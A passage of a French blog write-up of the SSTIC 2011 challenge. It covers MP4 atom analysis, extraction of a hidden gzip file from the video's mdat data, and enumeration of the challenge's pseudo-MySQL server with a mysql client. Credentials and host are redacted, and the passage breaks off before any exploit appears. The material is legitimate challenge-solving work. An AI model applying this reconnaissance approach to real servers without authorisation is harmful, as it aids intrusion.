&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom smhd @ 4632639 of size: 16, ends @ 4632655&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom dinf @ 4632655 of size: 36, ends @ 4632691&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom dref @ 4632663 of size: 28, ends @ 4632691&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stbl @ 4632691 of size: 3239, ends @ 4635930&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stsd @ 4632699 of size: 103, ends @ 4632802&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom mp4a @ 4632715 of size: 87, ends @ 4632802&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom esds @ 4632751 of size: 51, ends @ 4632802&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stts @ 4632802 of size: 24, ends @ 4632826&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stsz @ 4632826 of size: 2980, ends @ 4635806&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stsc @ 4635806 of size: 40, ends @ 4635846&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stco @ 4635846 of size: 84, ends @ 4635930&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; Atom udta @ 4635930 of size: 20, ends @ 4635950&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Atom name @ 4635938 of size: 12, ends @ 4635950&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt; &amp;nbsp;&amp;nbsp; Atom trak @ 4635950 of size: 2917, ends @ 4638867&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; Atom tkhd @ 4635958 of size: 92, ends @ 4636050&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; Atom mdia @ 4636050 of size: 2817, ends @ 4638867&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Atom mdhd @ 4636058 of size: 32, ends @ 4636090&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Atom hdlr @ 4636090 of size: 45, ends @ 4636135&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Atom minf @ 4636135 of size: 2732, ends @ 4638867&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; Atom nmhd @ 4636143 of size: 12, ends @ 4636155&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; Atom dinf @ 4636155 of size: 36, ends @ 4636191&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Atom dref @ 4636163 of size: 28, ends @ 4636191&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; Atom stbl @ 4636191 of size: 2676, ends @ 4638867&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stsd @ 4636199 of size: 32, ends @ 4636231&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Atom elf &amp;nbsp;@ 4636215 of size: 16, ends @ 4636231&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stts @ 4636231 of size: 24, ends @ 4636255&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stsc @ 4636255 of size: 1552, ends @ 4637807&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stsz @ 4637807 of size: 532, ends @ 4638339&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Atom stco @ 4638339 of size: 528, ends @ 4638867&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;A propos: deux atomes ne font pas partie de la norme, le premier appelé "ssti" et le second nommé "elf ". On retrouve l'espace qui suit l'extension pour le .elf et le nom ssti pour un atome ressemble trop à SSTIC pour n'être qu'une coïncidence :-) [&lt;i&gt;Néanmoins, la valeur de l'atom ssti vaut 00 00 00 00 ce qui n'avance à pas grand chose... secret1.dat fait lui aussi 4 octets dans le code source de VLC, mais quatre octets à 0 hexa n'est apparemment pas une bonne valeur pour secret1.dat.&lt;/i&gt;]&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;L'extraction de la piste 1(video) indique qu'elle est plus petite que le premier atom mdat. Nous avons donc dans le premier atom mdat (media data) la piste video, et des octets "en plus". Ce qui signifie que de manière dispersée dans dans la partie mdat du fichier mp4, il y a des octets superfétatoires. J'ai donc écrit un outil me permettant d'en extraire le diff, et sans surprise le diff est un fichier gz:&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;kevin@slackware:~$ file zip.gz &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;zip.gz: gzip compressed data, was "introduction.txt", from FAT filesystem (MS-DOS, OS/2, NT), last modified: Thu Mar 17 14:01:52 2011, max compression&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;kevin@slackware:~$ zcat zip.gz &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Cher participant,&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Le dÃ©veloppeur Ã©tourdi d'un nouveau systÃšme de gestion de base de donnÃ©es &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;rÃ©volutionnaire a malencontreusement oubliÃ© quelques fichiers sur son serveur &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;web. Une partie des sources et des objets de ce SGBD pourraient se rÃ©vÃ©ler &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;utile afin d'exploiter une Ã©ventuelle vulnÃ©rabilitÃ©.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Sauras-tu en tirer profit pour lire la clÃ© prÃ©sente dans le fichier &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;secret1.dat ?&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; url&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : http://&lt;une adresse="" ip=""&gt;snip-snip-snip-snip&amp;nbsp;&amp;nbsp; -- jetons un voile pudique&lt;/une&gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; login&amp;nbsp;&amp;nbsp;&amp;nbsp; : sstic2011&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -- sur une partie de ces&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; password : snip-snip-snip-snip &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -- informations :-)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Toute attaque par dÃ©ni de service est formellement interdite. Les organisateurs &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;du challenge se rÃ©servent le droit de bannir l'adresse IP de toute machine &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;effectuant un dÃ©ni de service sur le serveur.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;gzip: zip.gz: unexpected end of file&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;kevin@slackware:~$&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;On avance donc dans le challenge. &lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;introduction.txt&lt;/span&gt;&lt;/span&gt; permettra de connaître secret1.dat, et la crypto étudiée auparavant donnera vraisemblablement secret2.dat.&lt;br /&gt;&lt;br /&gt;(&lt;i&gt;Un mot pour wezak qui se reconnaîtra sans doute. Les fichiers ont été indexés par google sur votre site web alors qu'aucun lien pointant vers eux n'est référencé. Ce qui signifie que soit les liens ont été envoyés via gmail, soit chrome a été utilisé pour les consulter. Dans les deux cas, google FAIL&lt;/i&gt;)&lt;br /&gt;&lt;br /&gt;&lt;u&gt;4/ Attaque en ligne&amp;nbsp;&lt;/u&gt;&lt;br /&gt;Nous sommes partis d'un fichier video, nous nous retrouvons à attaquer du service en ligne :-) Ce challenge comporte bien des rebondissements! Lançons un navigateur web:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-YbqtwS94Omc/TdzS6S8-WHI/AAAAAAAAAE8/uW84dWaK69o/s1600/serversstic11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="118" src="http://3.bp.blogspot.com/-YbqtwS94Omc/TdzS6S8-WHI/AAAAAAAAAE8/uW84dWaK69o/s400/serversstic11.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;L'image &lt;a href="http://www.google.fr/search?q=lobster_dog"&gt;lobster_dog&lt;/a&gt; n'a, semble t'il, rien d'exceptionnel, bien que je ne retrouve pas précisément la même sur internet (pas de metadata particulier dans cette image, pas de données utiles apparemment).&lt;br /&gt;&lt;br /&gt;Une observation de la page web montre un message d'erreur en bas de page. Et l'erreur #2002 avec une référence à mySQL plus le contenu d'introduction.txt pousse à lancer un client mysql:&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;kevin@slackware:~$ mysql -u sstic2011 -h snip-snip-snip-snip -p&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Enter password: &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Welcome to the MySQL monitor.&amp;nbsp; Commands end with ; or \g.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Your MySQL connection id is 1&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Server version: 1&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;This software comes with ABSOLUTELY NO WARRANTY. This is free software,&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;and you are welcome to modify and redistribute it under the GPL v2 license&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mysql&amp;gt; \q&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Bye&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;kevin@slackware:~$&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;Cette base de donnée ne semble pas être un mySQL "authentique" (pas de version, un select 3+2 ne fonctionne pas, les commandes basiques ne fonctionnent pas, etc etc..). Ceci dit, rien n'empêche de creuser un peu:&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;kevin@slackware:~$ mysql -u sstic2011 -h snip-snip-snip-snip -p&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Enter password: &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Welcome to the MySQL monitor.&amp;nbsp; Commands end with ; or \g.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Your MySQL connection id is 1&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Server version: 1&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;This software comes with ABSOLUTELY NO WARRANTY. This is free software,&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;and you are welcome to modify and redistribute it under the GPL v2 license&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mysql&amp;gt; show databases;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+----------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;| Database |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+----------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;|&amp;nbsp;&amp;nbsp; system |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp; sstic |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+----------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;2 rows in set (0.05 sec)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mysql&amp;gt; use system;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Reading table information for completion of table and column names&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;You can turn off this feature to get a quicker startup with -A&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Database changed&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mysql&amp;gt; show tables;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+-------------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;| Tables&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+-------------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;| information |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+-------------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;1 row in set (0.05 sec)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mysql&amp;gt; select * from information;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+------------------+----------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;| version&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | security |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+------------------+----------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;| 1.3.337sstic2011 | SECCOMP&amp;nbsp; |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+------------------+----------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;1 row in set (0.05 sec)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mysql&amp;gt; use sstic;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Reading table information for completion of table and column names&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;You can turn off this feature to get a quicker startup with -A&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Database changed&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mysql&amp;gt; show 